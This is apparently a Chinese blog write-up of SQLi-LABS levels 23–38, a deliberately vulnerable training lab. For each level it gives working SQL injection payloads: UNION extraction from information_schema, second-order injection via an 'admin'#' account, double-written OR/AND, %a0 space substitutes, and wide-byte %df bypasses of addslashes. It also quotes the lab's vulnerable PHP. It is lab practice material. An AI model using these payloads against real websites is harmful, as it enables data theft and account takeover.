SQLi-LABS Page-2 (Adv Injections)less 23-38注入教程

less 23 GET - Error based - strip comments 基于錯誤的,過濾注釋的GET型
在源碼中有這么一段話,過濾了#和--,替換成‘ ’,要想繞過注釋過濾,那就只能閉合繞過,多行注釋符好像不行
$reg = "/#/"; $reg1 = "/--/"; $replace = ""; $id = preg_replace($reg, $replace, $id); $id = preg_replace($reg1, $replace, $id);
放一個開頭上來 http://sql/Less-23/?id=-1%27union%20select%201,(select%20table_name%20from%20information_schema.tables%20where%20table_schema=%27security%27%20limit%203,1),%273

less-24 - Second Degree Injections Real treat -Store Injections 二次注入
這一關有點特別,假設于真的登錄網(wǎng)站,通過審計發(fā)現(xiàn),在pass-change的username里是沒有過濾的$username= $_SESSION["username"];,可以從這里入手。而要進入
pass-change 需要logged-in頁面下的<form name="mylogin" method="POST" action="pass_change.php">也就是說要先登錄進去才可以。所以為了繞過過濾,先注冊一個 admin'# 并設置密碼為a。在登錄進入之后,更新密碼為b,退出。此時便已經(jīng)完成了注入。重新登錄時,用admin;b登錄即可!
在此題中需注意后臺代碼的審計和繞過,注意username和password的審計和缺點,仔細思考漏洞存在和可以利用的地方!
`$username= $_SESSION["username"]; (未過慮賬戶名)
$curr_pass= mysql_real_escape_string($_POST['current_password']);
$pass= mysql_real_escape_string($_POST['password']);
$re_pass= mysql_real_escape_string($_POST['re_password']);

if($pass==$re_pass)
{   
    $sql = "UPDATE users SET PASSWORD='$pass' where username='$username' and password='$curr_pass' ";`(在此處可以利用username=admin'#完成注入)

less 25 報錯注入Trick with OR & AND 過濾了or和and
這一關還是比較簡單的,全部過濾了and or ,只要注意在拼接語句的時候把出現(xiàn)了orand的單詞的多打一次就好(雙寫繞過),example or=>oorr,and=>anandd。
放一串開頭的,剩下的自己想http://sql/Less-25/?id=-1' union select 1,2,table_name from infoorrmation_schema.tables where table_schema=0x7365637572697479 limit 0,1 %23

less 25 盲注Trick with OR & AND 過濾了or和and
在盲注里要判斷是否過濾and or 只需要在id=and1,來試探即可。
剩下的都跟25一樣

less 26 Trick with comments and space (過濾了注釋和空格的注入)
源碼$id= preg_replace('/or/i',"", $id); //strip out OR (non case sensitive) $id= preg_replace('/and/i',"", $id); //Strip out AND (non case sensitive) $id= preg_replace('/[\/\*]/',"", $id); //strip out /* $id= preg_replace('/[--]/',"", $id); //Strip out -- $id= preg_replace('/[#]/',"", $id); //Strip out # $id= preg_replace('/[\s]/',"", $id); //Strip out spaces $id= preg_replace('/[\/\\\\]/',"", $id); //Strip out slashes return $id;可以說常規(guī)的注釋方法已經(jīng)沒用了,這時候我們就應該想著閉合語句,而不僅僅是注釋掉后面的語句。對于空格,emmmm,要不我們還是想想sqlmap吧,為啥我的空格轉譯都不行嘞=-=

less 26a GET - Blind Based - All your SPACES and COMMENTS belong to us(過濾了空格和注釋的盲注)
一樣樣。。。

less 27 GET - Error Based- All your UNION & SELECT belong to us (過濾了union和select的)
通過基礎測試發(fā)現(xiàn)空格被過濾了,大小寫替換沒有過濾,這里環(huán)境不行,空格不能轉義,我就放一個開頭代碼,剩下的自己試吧?id='%a0uNion%a0sElect(1),(database()),(3) or (1)='1

less 27a GET - Blind Based- All your UNION & SELECT belong to us 同上,盲注版
?id=1"and(length(database())>7)%a0uNion%a0sELect%a01,2,"3

less 28 GET - Error Based- All your UNION & SELECT belong to us String-Single quote with parenthesis基于錯誤的,有括號的單引號字符型,過濾了union和select等的注入
可惜%a0在我這環(huán)境里面都用不了 =-=
那我就假裝可以用好了!放一個開頭用的,老規(guī)矩,剩下的自己弄union%a0SELECT%a01,TABLE_NAME,3%a0FROM%a0INFORMATION_SCHEMA.TABLES%a0WHERE%a0TABLE_SCHEMA=0x7365637572697479

less 28a GET - Bind Based- All your UNION & SELECT belong to us String-Single quote with parenthesis基于盲注的,有括號的單引號字符型,過濾了union和select等的注入
老規(guī)矩了。。。我這不行,盲注的話可以自己sqlmap跑起來。

Less - 29 Protection with WAF 用WAF防護
相當于在實戰(zhàn)中遇到的防火墻了。。這個有點簡單啊
隨手打個http://sql/Less-29/?id=-1%27union%20select%201,2,database()%20%23就試探出來了。。那就再來一個剩下的老規(guī)矩http://sql/Less-29/?id=-1%27union%20select%201,table_name,3%20from%20information_schema.tables%20where%20table_schema=0x7365637572697479%23

Less - 30 waf的盲注
跟上題一樣,就是單引號變成雙引號
http://sql/Less-30/?id=1%22and%201=1%23

Less - 31 一樣的,手工進行判斷,發(fā)現(xiàn)用“ ") ”來繞過,具體的就不多說了
http://sql/Less-31/?id=-1%22)%20union%20select%201,2,database()%20%23

Less - 32 Bypass custom filter adding slashe 在每個單引號前加/
在這里把 “'” 轉譯成了“/'” 所以可以用寬字節(jié)注入%df'
來一套就可以看出效果來了http://sql/Less-32/?id=-1%df%27union%20select%201,2,database()%20%23

Less - 33 Bypass AddSlashes() 都一樣的,懶得弄了
http://sql/Less-33/?id=-1%df%27%20union%20select%201,2,database()%20%23

Less - 34 Bypass AddSlashes() 這題是登錄的形式,首先想到的就是用burp,在用了 ‘ ' ’之后,發(fā)現(xiàn)變成了“ / ' ”, 所以用寬字節(jié)注入%df
放一段,剩下的自己弄唄,要注意這里order by 只有2 uname=1%df'union select 1,database() %23&passwd=1&submit=Submit

Less - 35 why care for addslashes() 這道題中在輸入了‘ 1' ’后發(fā)現(xiàn),單引號被轉譯“/'’” 并且報錯里發(fā)現(xiàn)You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '' LIMIT 0,1' at line 1 說明在后臺里面id周圍沒有引號,所以直接干!剩下自己想去,套路都一樣http://sql/Less-35/?id=1%20order%20by%203%20%23
http://sql/Less-35/?id=-1%20union%20select%201,2,database()%20%23

Less - 36 Bypass MySQL Real Escape String 繞過 MySQL_real_escape_string
發(fā)現(xiàn)都是一樣的套路啊,轉譯了單引號。。其他的都一樣http://sql/Less-36/?id=1%df%27and%201=2%20%23

Less - 37 POST- Bypass MySQL Real Escape String 繞過 MySQL_real_escape_string 用post的方式,直接用burp然后拼接語句
uname=1%df'or 1=1 %23&passwd=1&submit=Submit可以發(fā)現(xiàn)跟35是一樣的方法,不贅述了

Less - 38 在進行輸入“ 1' ” 的時候,發(fā)現(xiàn)報錯這樣“
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''1'' LIMIT 0,1' at line 1” 說明 1 旁邊多了一個引號,那么該拼接這么一個語句http://sql/Less-38/?id=1%27%20and%20%271%27=%272來閉合后面的單引號 從而注入,后面就簡單了,自己做。

?著作權歸作者所有,轉載或內(nèi)容合作請聯(lián)系作者
【社區(qū)內(nèi)容提示】社區(qū)部分內(nèi)容疑似由AI輔助生成,瀏覽時請結合常識與多方信息審慎甄別。
平臺聲明:文章內(nèi)容(如有圖片或視頻亦包括在內(nèi))由作者上傳并發(fā)布,文章內(nèi)容僅代表作者本人觀點,簡書系信息發(fā)布平臺,僅提供信息存儲服務。

相關閱讀更多精彩內(nèi)容

友情鏈接更多精彩內(nèi)容